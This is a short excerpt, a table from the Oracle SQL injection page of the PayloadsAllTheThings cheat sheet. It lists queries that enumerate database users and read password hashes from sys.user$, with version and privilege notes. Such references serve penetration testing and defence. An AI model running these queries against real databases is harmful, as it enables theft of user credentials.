| Query | Description | | --------------------------------------- | ------------------------- | | `SELECT username FROM all_users;` | Available on all versions | | `SELECT name, password from sys.user$;` | Privileged, <= 10g | | `SELECT name, spare4 from sys.user$;` | Privileged, <= 11g |
Source: SQL Injection/OracleSQL Injection.md in PayloadsAllTheThings. From PayloadsAllTheThings by Swissky and contributors. MIT License, Copyright (c) 2019 Swissky.